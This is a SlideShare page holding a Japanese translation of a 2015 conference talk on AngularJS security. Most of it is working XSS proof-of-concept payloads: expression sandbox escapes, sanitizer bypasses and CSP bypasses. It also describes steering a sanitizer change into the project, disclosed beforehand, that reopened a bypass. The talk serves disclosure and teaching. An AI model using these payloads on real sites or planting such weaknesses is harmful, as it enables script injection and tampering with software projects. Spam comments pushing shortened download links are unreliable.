Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

AngularJSとの危険な関係 by Mario Heiderich - CODE BLUE 2015

1,199 views

Published on

世間では「Angular は、もし Web アプリケーション構築のために設計されたものであるならば、HTML がそうであったであろうものである」と言われています。この評判が誠か嘘かはさておき、Angular は確 かに JavaScript Web framework が生み出し得るものの中でも際立っている道具の 1 つであると考えられ ます。その大胆さは夕日に映えるドイツの焼きソーセージのように輝いており、気難しい老いたセキュリ ティ関係者からの批判的な意見によって嫌厭されるべきものではありません。
今回の講演では AnglarJS にかなりの焦点を絞って、このとても人気のあるツールのセキュリティ面を 取り上げる予定です。super-hero framework は全てを適正に行い、その超英雄的な原則に基づいていたで しょうか? AnglarJS は Web アプリケーションに対する攻撃手法を増加させるのか、それともむしろ減ら してしまうでしょうか? AngularJS は Content Security Policy に従いどのように役割を果たすのか、その 役割はこのような未来的な機能クリープによるセキュリティを統合するのに良いアイデアだったのでしょうか?そして AngularJS バージョン 2.0 ではどうなのでしょうか?
私たちがコードを一瞥すること、セキュリティの最善策を研究すること、セキュリティを損なう事柄の 整合性検証を止めようとしないことに注意してください。私たちは倫理的な境界線を引き、AngularJS チームがバグを悪用する手法を知らせてくれるかを確かめようとするでしょう。皆様が不思議に思っている重 要な疑問は、「AngularJS チームが新たなセキュリティバグをコードに導入することにより、ここで講演を している私のように持ったとしたら?」ということでしょう。
今回の講演は、多くの事柄を約束し発展し続ける現代の JavaScript framework についてのものであり、 必ずしも開発者やユーザーにとってのものではありません。私たちは一般的な教義を導出することにより 結論を出し、進化というものが拡張を意味するということが普遍的であるということに、願わくは同意し てほしい。

Published in: Software
  • DOWNLOAD THIS BOOKS INTO AVAILABLE FORMAT (2019 Update) ......................................................................................................................... ......................................................................................................................... Download Full PDF EBOOK here { https://soo.gd/irt2 } ......................................................................................................................... Download Full EPUB Ebook here { https://soo.gd/irt2 } ......................................................................................................................... Download Full doc Ebook here { https://soo.gd/irt2 } ......................................................................................................................... Download PDF EBOOK here { https://soo.gd/irt2 } ......................................................................................................................... Download EPUB Ebook here { https://soo.gd/irt2 } ......................................................................................................................... Download doc Ebook here { https://soo.gd/irt2 } ......................................................................................................................... ......................................................................................................................... ................................................................................................................................... eBook is an electronic version of a traditional print book THIS can be read by using a personal computer or by using an eBook reader. (An eBook reader can be a software application for use on a computer such as Microsoft's free Reader application, or a book-sized computer THIS is used solely as a reading device such as Nuvomedia's Rocket eBook.) Users can purchase an eBook on diskette or CD, but the most popular method of getting an eBook is to purchase a downloadable file of the eBook (or other reading material) from a Web site (such as Barnes and Noble) to be read from the user's computer or reading device. Generally, an eBook can be downloaded in five minutes or less ......................................................................................................................... .............. Browse by Genre Available eBooks .............................................................................................................................. Art, Biography, Business, Chick Lit, Children's, Christian, Classics, Comics, Contemporary, Cookbooks, Manga, Memoir, Music, Mystery, Non Fiction, Paranormal, Philosophy, Poetry, Psychology, Religion, Romance, Science, Science Fiction, Self Help, Suspense, Spirituality, Sports, Thriller, Travel, Young Adult, Crime, Ebooks, Fantasy, Fiction, Graphic Novels, Historical Fiction, History, Horror, Humor And Comedy, ......................................................................................................................... ......................................................................................................................... .....BEST SELLER FOR EBOOK RECOMMEND............................................................. ......................................................................................................................... Blowout: Corrupted Democracy, Rogue State Russia, and the Richest, Most Destructive Industry on Earth,-- The Ride of a Lifetime: Lessons Learned from 15 Years as CEO of the Walt Disney Company,-- Call Sign Chaos: Learning to Lead,-- StrengthsFinder 2.0,-- Stillness Is the Key,-- She Said: Breaking the Sexual Harassment Story THIS Helped Ignite a Movement,-- Atomic Habits: An Easy & Proven Way to Build Good Habits & Break Bad Ones,-- Everything Is Figureoutable,-- What It Takes: Lessons in the Pursuit of Excellence,-- Rich Dad Poor Dad: What the Rich Teach Their Kids About Money THIS the Poor and Middle Class Do Not!,-- The Total Money Makeover: Classic Edition: A Proven Plan for Financial Fitness,-- Shut Up and Listen!: Hard Business Truths THIS Will Help You Succeed, ......................................................................................................................... .........................................................................................................................
       Reply 
    Are you sure you want to  Yes  No
    Your message goes here
  • DOWNLOAD THIS BOOKS INTO AVAILABLE FORMAT (2019 Update) ......................................................................................................................... ......................................................................................................................... Download Full PDF EBOOK here { https://soo.gd/irt2 } ......................................................................................................................... Download Full EPUB Ebook here { https://soo.gd/irt2 } ......................................................................................................................... Download Full doc Ebook here { https://soo.gd/irt2 } ......................................................................................................................... Download PDF EBOOK here { https://soo.gd/irt2 } ......................................................................................................................... Download EPUB Ebook here { https://soo.gd/irt2 } ......................................................................................................................... Download doc Ebook here { https://soo.gd/irt2 } ......................................................................................................................... ......................................................................................................................... ................................................................................................................................... eBook is an electronic version of a traditional print book THIS can be read by using a personal computer or by using an eBook reader. (An eBook reader can be a software application for use on a computer such as Microsoft's free Reader application, or a book-sized computer THIS is used solely as a reading device such as Nuvomedia's Rocket eBook.) Users can purchase an eBook on diskette or CD, but the most popular method of getting an eBook is to purchase a downloadable file of the eBook (or other reading material) from a Web site (such as Barnes and Noble) to be read from the user's computer or reading device. Generally, an eBook can be downloaded in five minutes or less ......................................................................................................................... .............. Browse by Genre Available eBooks .............................................................................................................................. Art, Biography, Business, Chick Lit, Children's, Christian, Classics, Comics, Contemporary, Cookbooks, Manga, Memoir, Music, Mystery, Non Fiction, Paranormal, Philosophy, Poetry, Psychology, Religion, Romance, Science, Science Fiction, Self Help, Suspense, Spirituality, Sports, Thriller, Travel, Young Adult, Crime, Ebooks, Fantasy, Fiction, Graphic Novels, Historical Fiction, History, Horror, Humor And Comedy, ......................................................................................................................... ......................................................................................................................... .....BEST SELLER FOR EBOOK RECOMMEND............................................................. ......................................................................................................................... Blowout: Corrupted Democracy, Rogue State Russia, and the Richest, Most Destructive Industry on Earth,-- The Ride of a Lifetime: Lessons Learned from 15 Years as CEO of the Walt Disney Company,-- Call Sign Chaos: Learning to Lead,-- StrengthsFinder 2.0,-- Stillness Is the Key,-- She Said: Breaking the Sexual Harassment Story THIS Helped Ignite a Movement,-- Atomic Habits: An Easy & Proven Way to Build Good Habits & Break Bad Ones,-- Everything Is Figureoutable,-- What It Takes: Lessons in the Pursuit of Excellence,-- Rich Dad Poor Dad: What the Rich Teach Their Kids About Money THIS the Poor and Middle Class Do Not!,-- The Total Money Makeover: Classic Edition: A Proven Plan for Financial Fitness,-- Shut Up and Listen!: Hard Business Truths THIS Will Help You Succeed, ......................................................................................................................... .........................................................................................................................
       Reply 
    Are you sure you want to  Yes  No
    Your message goes here
  • Be the first to like this

AngularJSとの危険な関係 by Mario Heiderich - CODE BLUE 2015

  1. 1. AngularJS との危険な関係 「スーパーヒーロー」フレームワークによるセキュリティ をめぐる冒険 マリオ・ハイデリッヒ mario@cure53.de || @0x6D6172696F
  2. 2. 貴方の DOM の中のゴジラ ● 工学博士マリオ ハイテ リッヒ・ ゙ ● ルール大学ボーフム 研究者・ポスドク ● 博士論文はクライアントサイドのセキュリ ティと防御について ● Cure53 創設者 ● ベルリンに在るペネトレーションテストとセ キュリティの会社 ● セキュリティコンサルティング、ワーク ショップ、トレーニング ● 簡単に言うと、世界一の会社 ● 著作と講演の実績 ● 専門分野は HTML5 、 DOM 、 SVG のセ キュリティ ● JavaScript 、 XSS 、クライアントサイド攻 撃 ● HTML5 セキュリティの「カンニングペーパー」 ● そして DOM 浄化! ● @0x6D6172696F ● mario@cure53.de
  3. 3. 今日は AngularJS について話をしたい。 そして、 それがどのようにセキュリティに対応しているかを。 でもなぜ? 全ては関連している?
  4. 4. そして、最も大事なこととして、 AngularJS は Java スクリプトフレームワークの ハニーブーブー注 ) なの? 注)ハニーブーブー:米国で話題になった番組の主人公 私にはチキンナゲットパワーが有るのよ!
  5. 5. AngularJS とは? ● ポピュラーな JavaScript MVC フレームワーク ● 実際に MVW ( Model-View-Whatever ) ● 自称「スーパーヒーロー フレームワーク」 ● Google がメンテナンスして推奨 ● 分極化の哲学 ● ユーザ層は常に増加 ● 高い採用率 ● GitHub レポジトリの大トラフィック
  6. 6. なぜ AngularJS ● AngularJS とその不正行為についてについて話す のは初めてではない。 ● 事実、「 AngularJS 狩り」は結構しばしばやって いた。 ● これは 一つの事例。 ● 不思議な議論への誘い。 ● 個人的な理由? いや、違う理由だよ。
  7. 7. 関係した理由 ● とても強い自己愛を獲得している(皮肉なことにね!分 かりきったことだろうけど)。スーパーヒーローフレー ムワーク。 ● Web サイトの動作を変えつつある。 ● APIをよくぶっ壊してアップグレードを難しくしている。 ● HTML より賢い方法だと思われていて、 markup-sugar との相 性もいい。 ● 間もなく出る Version 2.0 で全てがぶっ壊される。
  8. 8. MVC のハニーブーブー ? 私は自分が魚だと思うの
  9. 9. 多分違う・・・ ● AngularJS は高いセキュリティレベルを標準で備えてい る。 ● ルールに従えば、セキュリティレベルは素晴らしいも のになる。 ● 開発する人とメンテナンスする人の両方において。 ● そして、ブラウザ 内 で動いているあらゆる複雑なも のはブラウザを知る必要が有る。 ● 階層構造になった Web セキュリティのパラドクス。 ● ネットワーク、サーバ、ブラウザ、フレームワーク、 ユーザ、そして、ネットワークに戻っていく全ての 道筋。。。
  10. 10. ユーザがクライアント側のテンプレートを変更できな いように アプリケーションを設計するのが良い。例を挙げる と: クライアントとサーバのテンプレートを混同しない。 ユーザからの入力で動的にテンプレートを生成させな い。 ユーザからの入力を $scope.$eval で実行しない。 CSP を使うことを考える(しかし、 CSP のみにたよって はダメ) https://docs.angularjs.org/guide/security
  11. 11. じゃあ、意地悪になって攻撃してみよう でも何を? 何を見るべき?
  12. 12. 4つの主な攻撃経路 ● A1: サンドボックスを攻撃する ● A2: サニタイザーを攻撃する ● A3: CSP モードを攻撃する ● A4: コードベースで攻撃する
  13. 13. A1
  14. 14. A1: AngularJS のサンドボックス ● AngularJS のサンドボックスは不思議な動機によるおかし な創造物になっている。 ● ドキュメントによるとセキュリティツールではない。 ● 「 DOM から開発を切り離すこと」が主な役割だとのこ と。 ● 危険を回避するために元々の DOM の露出を制限すると の意味。 ● AngularJS のサンドボックスは式といくつかの命令のため に存在している。 ● 式に反映されたユーザの入力が直ちに XSS を意味するこ とが有る。サンドボックスはこれを防ぐ。
  15. 15. A1: 最初のバイパス ● 初期の AngularJS においてはサンドボックスのバイパス は簡単なものだった ● {{constructor.constructor('alert(1)')()}} ● それだけ。スコープオブジェクトの constructor にアクセ スして、 次にまた constructor にアクセスして Function を手に入れて完了。 ● Function('code here')(); // like an eval ● この攻撃は AngularJS1.0 で可能になり、 1.2.0 でできな くなった。 ● 悲しいことに、多くのサイトはまだ AngularJS 1.1.x を 使っている。 ● API が変わるため人アップグレードが難しくなっている、 もしくは、アップグレードに関心が無いか。
  16. 16. <!– 幼稚園児でもできる サンドボックスのバイパス --!> <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.1.5/angular.min.js"> </script> <div class="ng-app"> {{ constructor.constructor('alert(1)')() }} </div>
  17. 17. A1: 最初の修正 ● AngularJS はこれに反応して修正した。「セキュリ ティツールじゃない」から(だよね?)。 ● この修正は Function ( とその他の危険なオブジェク ト ) へのアクセスを制限する形で行われた。 ● だから、 Function をどこか違う場所から取ってこ ないといけない。 ● どこか、 AngulartJS が知らないアクセスできる場 所。 ● ES5 では、コールバックして __proto__ が補助す る、ここだ!
  18. 18. A1: さらなるバイパス ● AngularJS のパーサーは実にスマート。 ● バイパスはより創造的にならないといけない。 ● Jann Horn 、 Mathias Karlsson 、 Gábor Molnár が発見者。 ● そして、幸運にも、 Function を取ってくるメソッ ドを提供するオブジェクトを持っていた。 ● もしくは、先に述べたコールバック。 ● これからちょっとの間、詳しく見ていこう。
  19. 19. <!-- Jann Horn のバイパス --!> <html ng-app> <head> <meta charset="utf-8"> <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.2.18/angular.js" ></script> </head> <body> {{ (_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor ( _.__proto__,$).value,0,'alert(1)')() }} </body>
  20. 20. <!-- AngularJS 1.2.0 における他の方法 --!> <html ng-app> <head> <meta charset="utf-8"> <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.2.18/angular .js" ></script> </head> <body> {{ a="constructor";b={}; a.sub.call.call(b[a].getOwnPropertyDescriptor( b[a].getPrototypeOf( a.sub),a).value,0,'alert(1)')() }} </body>
  21. 21. <!-- Mathias Karlsson のバイパス --> <html ng-app> <head> <meta charset="utf-8"> <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.2.23/angular .js"> </script> </head> <body> {{ toString.constructor.prototype.toString =toString.constructor.prototype.call; ["a","alert(1)"].sort(toString.constructor) }} </body>
  22. 22. <!-- Gábor Molnár のバイパス --> <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.3.0/angular. js"> </script> <body ng-app> {{ !ready && (ready = true) && ( !call ? $$watchers[0].get(toString.constructor.prototype) : (a = apply) && (apply = constructor) && (valueOf = call) && (''+''.toString( 'F = Function.prototype;' + 'F.apply = F.a;' + 'delete F.a;' + 'delete F.valueOf;' + 'alert(42);' )) ); }} </body>
  23. 23. <!– アトリビュート経由のバイパス、ユーザの操作は必要なし → <!– このページを URL に #foo を含めて開くだけ --> <!doctype html> <html> <head> <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.3.1/angular. js" > </script> </head> <body> <a id="foo" ng-app ng- focus="$event.view.location.replace('javascript:document.writ e(document.domain)')" contenteditable="true"></a> </body> </html>
  24. 24. A1: 極端なバイパス ● Jann Horn が 1.3.2 においてもう一つのバイパス を報告した、それは常識を超えている
  25. 25. <!– Jann のむしろ 端なバイパス極 --> <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.3.2/angular.js"></scri pt> <body ng-app ng-csp> {{ objectPrototype = ({})[['__proto__']]; objectPrototype[['__defineSetter__']]('$parent', $root.$$postDigest); $root.$$listenerCount[['constructor']] = 0; $root.$$listeners = [].map; $root.$$listeners.indexOf = [].map.bind; functionPrototype = [].map[['__proto__']]; functionToString = functionPrototype.toString; functionPrototype.push = ({}).valueOf; functionPrototype.indexOf = [].map.bind; foo = $root.$on('constructor', null); functionPrototype.toString = $root.$new; foo(); }} {{ functionPrototype.toString = functionToString; functionPrototype.indexOf = null; functionPrototype.push = null; $root.$$listeners = {}; baz ? 0 : $root.$$postDigestQueue[0]('alert(location)')(); baz = true;'' }}
  26. 26. A1: 現在の状態 ● 1.3.2 から最新のバーションはどうなってる? ● 公表されているサンドボックスのバイパスは無い。 ● 幅広いアクセスは制限されている。 ● window も、 Function も、 Object も、 call() や apply() も、 document も、 DOM ノードも無い。 ● そして、パーサーが理解しない他の興味深いもの、例え ば RegEx 、 “ new” 、 anonymous 関数も。 ● じゃあこれで終わり? ● ちょっと見てみよう!
  27. 27. <!-- Jann Horn の最新のバイパス --> <html> <head> <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.4.5/angular. js" ></script> </head> <body ng-app> {{ 'this is how you write a number properly. also, numbers are basically arrays.'; 0[['__proto__']].toString = [][['__proto__']].pop; 0[['__proto__']][0] = 'alert("TROLOLOLn"+document.location)'; 0[['__proto__']].length = 1; 'did you know that angularjs eval parses, then re-stringifies numbers? :)'; $root.$eval("x=0", $root); }} </body>
  28. 28. A1: ユーザの介在 ● そして、様々な方法が有ってメンテナンスする 人も手が回らない。 ● 例えば、 copy&paste 、私のお気に入り。
  29. 29. <!-- Firefox で Copy&Paste を使ったバイパス --> <meta charset="UTF-8"> <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.4.6/angular. min.js"></script> <body ng-app=""> <input ng-copy=" $event.preventDefault(); $event.clipboardData.setData('text/html','&lt;div contenteditable=&quot;false&quot;&gt;&lt;svg&gt;&lt;a xlink:href=&quot;?&quot; xmlns:xlink=&quot;http://www.w3.org/1999/xlink&quot;&gt;&lt;c ircle r=&quot;500&quot; fill=&quot;red&quot;&gt;&lt;/circle&gt;&lt;animate attributeName=&quot;xlink:href&quot; from=&quot;javascript:alert(1)&quot; to=&quot;&amp;&quot; begin=&quot;0&quot;&gt;&lt;/animate&gt;&lt;/a&gt;&lt;/svg&gt; &lt;/div&gt') " value="Copy Me"> <div contenteditable>PASTE HERE</div> </body>
  30. 30. サラダなんて食べたことないわ
  31. 31. A2
  32. 32. A2: サニタイザー ● AngularJS には組み込まれた HTML のサニタイザーが有 る。 ● $sanitize という名のコンポーネント。 ● その目的は XSS 攻撃を HTML の文字から洗い落とすこ と。 ● そして、しっかりと安全に使用できるようにきれいな HTML を返す。 ● 2つのメジャーなバージョンが有って、ひとつは酷い、 ひとつはそんなに悪くない。
  33. 33. A2: 古いサニタイザー ● 古いサニタイザーは、 2008年製の HTML パー サーを使っている。 ● その古いものは John E. Resig が開発、 ● 極端に厳格で、設定が難しく、いつもクラッ シュする。 ● 試すことのできるテストケースを公開した。 ● いくつかの条件を満たせばバイパス可能。 ● Chrome のため。 ● それから、 Gareth Heyes に敬意を表して! !
  34. 34. インジェクション : <svg xmlns:xlink="http://www.w3.org/1999/xlink"><use xlink:href="test.json?callback=%3Csvg%20id %3D%27rectangle%27%20xmlns%3D%27http%3A//www.w3.org/2000/svg%27%20xmlns%3Axlink%3D %27http%3A//www.w3.org/1999/xlink%27%20width%3D%27100%27%20height%3D%27100%27%3E %3Ca%20xlink%3Ahref%3D%27javascript%3Aalert%28location%29%27%3E%3Crect%20x%3D %270%27%20y%3D%270%27%20width%3D%27100%27%20height%3D%27100%27%20/%3E%3C/a%3E %3C/svg%3E#rectangle"></use></svg> Chrome は SVG <use> のコンテンツタイプを無視する! !
  35. 35. A2: 新しいサニタイザ― ● 新しいサニタイザーはまだ醜い。しかし、パーサーの代 わりに DOM を使っている。 ● すなわち、 document.implementation 、ちょうど DOMPurify のように。 ● 古いパーサーよりも厳格、なので、 SVG はデフォルト で禁止されている。 (-”-) ● 初期バージョンは SVG を禁止してなかったので「バイ パス可能」だった。 ● そして、 SVG は正直言って扱いづらい。 ● 新しいバージョンも同じで、まだ「バイパス可能」 ● これもまた Chrome だから。 ● Roman Shafigullin に乾杯。
  36. 36. 影響する文字 :                         
   Chrome における古典的 mXSS !
  37. 37. ドラマなんていらないわ
  38. 38. A3
  39. 39. A3: CSP モードを攻撃 ● 他の多くのフレームワークとは違って、 AngularJS は CSP との相性が良い。 ● CSP とは? Content Security Policy. ● 「 XSS キラー」になりたかったもの。 ● そして、そうならなければならないもの。そうでな いと、エクステンションその他に展開できなかっ ただろうから。 ● CSP のコンパチビリティは強みであると同時に弱み でもある。 ● もちろん、興味が有るのは後者。
  40. 40. A3: 初期の CSP バイパス ● 最初に見つかったバイパスは控えめに言っても些細なもの だった。フレームワークの機能を使うだけ。 ● 強い CSP と古い AngularJS を使っている Web サイトが ターゲット。 ● インジェクションを見つける。 ● 「 onclick=”alert(1) 」はやってはダメ ● 代わりに「 ng-click=“$event.view.alert(1) 」をやる ● というのは $event は view 経由で window をリークする ● この方法は Version1.1.5 まで有効。
  41. 41. <?php header('Content-Security-Policy: default-src 'self' ajax.googleapis.com'); ?><html ng-app ng-csp> <head> <meta charset="utf-8"> <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.1.5/angular. js" ></script> </head> <body> <h1 ng-click="$event.view.alert(1)">XSS</h1> <h1 ng:click="$event.view.alert(2)">XSS</h1> <h1 x-ng-click="$event.view.alert(3)">XSS</h1> <h1 data-ng-click="$event.view.alert(4)">XSS</h1> <h1 _-_-_-ng_-_-_click="$event.view.alert(5)">XSS</h1> </body> </html>
  42. 42. A3: 修正と新しいバイパス ● どうしてここでサンドボックスも使わない? ● AngularJS は、 window と他のプロパティへのアクセスを防御し 始めた。 ● なので、 Chromeの欠陥を Blob に手伝ってもらいながら悪用しつ つ間接的に行う。 ● しかし、 Blob には「新しい」オペレータが必要で、 AngularJS は それをパースできない。 ● そこで、 ES6 と全く新しい Reflect API. を使うことをあてにする 必要が有る。 ● ちなみに、この方法は Version 1.3.1 まで有効。 ● しかし、問題が有る。 Chrome Reflect.construct() まだ実装して いない。 ● そこで、今のところは理論上のものだけでしかない。 ● そして、 Firefox も Edge も blob ともに使う CSP が使用可能。
  43. 43. <?php header('Content-Security-Policy: default-src 'self' ajax.googleapis.com'); ?><html ng-app ng-csp> <head> <meta charset="utf-8"> <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.3.1/angular. js" ></script> </head> <body> <h1 ng-click=" $event.view.location.replace($event.view.URL.createObjectURL( $event. view.Reflect.construct( $event.view.Blob, [['<script>alert(1)</script>'],{type:'text/html'}]))) ">XSS</h1> <!-- without CSP we can of course do this --> <h1 ng- click="$event.view.location.replace('javascript:alert(1)')">X SS</h1> </body>
  44. 44. <!-- read from bottom to top --> <h1 ng-click=" $event.view.location.replace( // 4. call location.replace $event.view.URL.createObjectURL( // 3. create Blob URL $event.view.Reflect.construct( // 2. get around “new” $event.view.Blob, [['<script>alert(1)</script>'], {type:'text/html'}] // 1. build a Blob ) ) ); ">XSS</h1>
  45. 45. A3: 万能 CSP バイパス ● 簡単には直せないもう一つのバイパスが有る。 ● アプリケーションが Google CDN を使うところで可能。 ● Google が実装した collision check に関連しており、 ただ単に遅すぎた。 ● というのは、 1.2.15 以降に実装されたため。 ● “WARNING: Tried to load angular more than once.” ● そして、ダウングレード攻撃を必ず可能にする。 ● 従って、もし、 Google CDN がホワイトリストされてい たら、 CSP は必ずバイパスされる。 ホワイトリストしないように。 ● ただ単に古いバイパスを戻してきただけ!
  46. 46. <?php header('Content-Security-Policy: default-src 'self' ajax.googleapis.com'); ?><html ng-app ng-csp> <head> <meta charset="utf-8"> <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.4.6/angular.j s" ></script> </head> <body> <h1 class=""><script/src=//ajax.googleapis.com/ajax/libs/angularjs /1.1.5/angular.js></script><h1/ng- click=$event.view.alert(1)//>CLICKME"></h1> </body>
  47. 47. 今、リラックス中・・・
  48. 48. A4
  49. 49. A4: コードベースでの攻撃 ● 攻撃に使えるバグが見つからなかったら、攻撃者は どうする? ● もちろん、プロジェクトそのものを攻撃する。 ● そして、オープンソースのパワーを使って、欲しい バグの原因となる変更を紹介する。 ● そして、それによって、バグを報告したことによる 賞賛と望んだ攻撃箇所がタダで手に入る。 ● それを AngularJS に対して行った。 ● Google セキュリティは事前に知ってい た。 AngularJS は知らなかった。
  50. 50. A4: The Con-Setup ● 修正されるとセキュリティ上の課題となるような分かりにく い「バグ」が必要だった。 ● あるいは、 QA を通るほど怪しくない Pull リクエストを こっそり組み込む。 ● 最初のオプションは現実的ではない。宝くじに当たるような もの。 ● 二番目のオプションはリスクが大きい。見つかったら? ● で・・・ ● 幸運なことに、 $sanitizer コンポーネント内にまさし く分かりにくい「バグ」が存在していた。 ● さあ、見てみよう!
  51. 51. A4: バグ // SVG attributes (without "id" and "name" attributes) // https://wiki.whatwg.org/wiki/Sanitization_rules#svg_Attributes var svgAttrs = makeMap('accent-height,accumulate,additive,alphabetic,arabic- form,ascent,' + 'attributeName,attributeType,baseProfile,bbox,begin,by,calcMode,cap- height,class,color,' + 'color-rendering,content,cx,cy,d,dx,dy,descent,display,dur,end,fill,fill- rule,font-family,' + 'font-size,font-stretch,font-style,font-variant,font- weight,from,fx,fy,g1,g2,glyph-name,' + 'gradientUnits,hanging,height,horiz-adv-x,horiz-origin- x,ideographic,k,keyPoints,' + 'keySplines,keyTimes,lang,marker-end,marker-mid,marker- start,markerHeight,markerUnits,' + 'markerWidth,mathematical,max,min,offset,opacity,orient,origin,overline- position,' + 'overline-thickness,panose- 1,path,pathLength,points,preserveAspectRatio,r,refX,refY,' + 'repeatCount,repeatDur,requiredExtensions,requiredFeatures,restart,rotate,rx,ry,s lope,stemh,' + 'stemv,stop-color,stop-opacity,strikethrough-position,strikethrough- thickness,stroke,' + 'stroke-dasharray,stroke-dashoffset,stroke-linecap,stroke-linejoin,stroke- miterlimit,' + 'stroke-opacity,stroke-width,systemLanguage,target,text- anchor,to,transform,type,u1,u2,' + 楽しいことに、これらのアトリビュートは廃止予定の WHATWG Wiki のお かげで、安全と思われていた : https://wiki.whatwg.org/wiki/Sanitization_rules
  52. 52. A4: バグ angular.forEach(attrs, function(value, key) { var lkey = angular.lowercase(key); // < here! var isImage = (tag === 'img' && lkey === 'src') || (lkey === 'background'); if (validAttrs[lkey] === true && (uriAttrs[lkey] !== true || uriValidator(value, isImage))) { out(' '); out(key); out('="'); out(encodeEntities(value)); out('"'); } } ); ここに示されているように、 lowercase がテストを無意味なものにしてい るだけでなく、正当なアトリビュートがパスしない。偶然にも、これは 危険なアトリビュートにも正確にあてはまる。ありがとう SVG !
  53. 53. A4: 実行 ● つまり、もし、サニタイザ―においてこの特定の動 作が見られたら、バイパスをブロックする。。。 ● バグを報告して修正してもらわなくてはならない! ● バグだよ。バイパスじゃないよ( ^^ ) ● で、報告しました。 ● そして、受け付けられました!
  54. 54. A4: バイパス <svg> <a xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="?"> <circle r="400"></circle> <animate attributeName="xlink:href" begin="0" from="javascript:alert(1)" to="&" /> </a> </svg> アニメーションでリンクの href アトリビュートを最初からお見せしま す。危険な状態から、ブラウザが不正な状態にジャンプして戻る原因と なる無害で不正な状態になるところまでのカッコいいところをww
  55. 55. A4: その後 ● Google セキュリティに報告。 ● 彼らが AngularJS Team に通知。 ● 数週間何も起こらず。 ● 次のリリースが近づいてきた。危ないねぇ! ● 再び修正を促した。 ● ついに、バグを修正した。 ● やれやれ ( ;;^^ ● 今は、その部分は開発者に警告を与えるために多量 のコメントが付いている。
  56. 56. /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * Any commits to this file should be reviewed with security in mind. * * Changes to this file can potentially create security vulnerabilities. * * An approval from 2 Core members with history of modifying * * this file is required. * * * * Does the change somehow allow for arbitrary javascript to be executed? * * Or allows for someone to change the prototype of built-in objects? * * Or gives undesired access to variables likes document or window? * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */
  57. 57. そして、もし、このことをやったために、 私達をちょっぴり嫌う人がいた場合に。。。
  58. 58. バグ報奨金まで もらったんだよ! ( O )/^ ^
  59. 59. てっとり早く結論 ● AngularJS は、攻撃の幅を恐ろしく広げてくれた。古いバージョンは 特に広い。 ● その間、いくつかの正しいことがなされた。他は、ほぼ二度と修正 されることが無い。 ● 開発者は危険を知って避けなくてはならない。 ● そして、危険は往々にして不公平なまでに見つけるのも避けるのも 難しい。特に CSP を使っている場合は。 ● 多くのサイトはいまだに古いバージョンを使っている。 多いんだよ。 ● レポジトリへのトラフィックが多いオープンソースは危険 ● Google のチームはすでにいい仕事をしているが・・・ ● しかし、 Google は開発者を助けるためにもっとできるはず。
  60. 60. 終わり ● 質問? ● コメント? ● 有難うございました! ● 歓声はこちらまで↓ ● Gareth McHeyes ● Jann Horn ● Mathias Karlsson ● G bor Moln rá á ● David Ross ● Eduardo Vela

×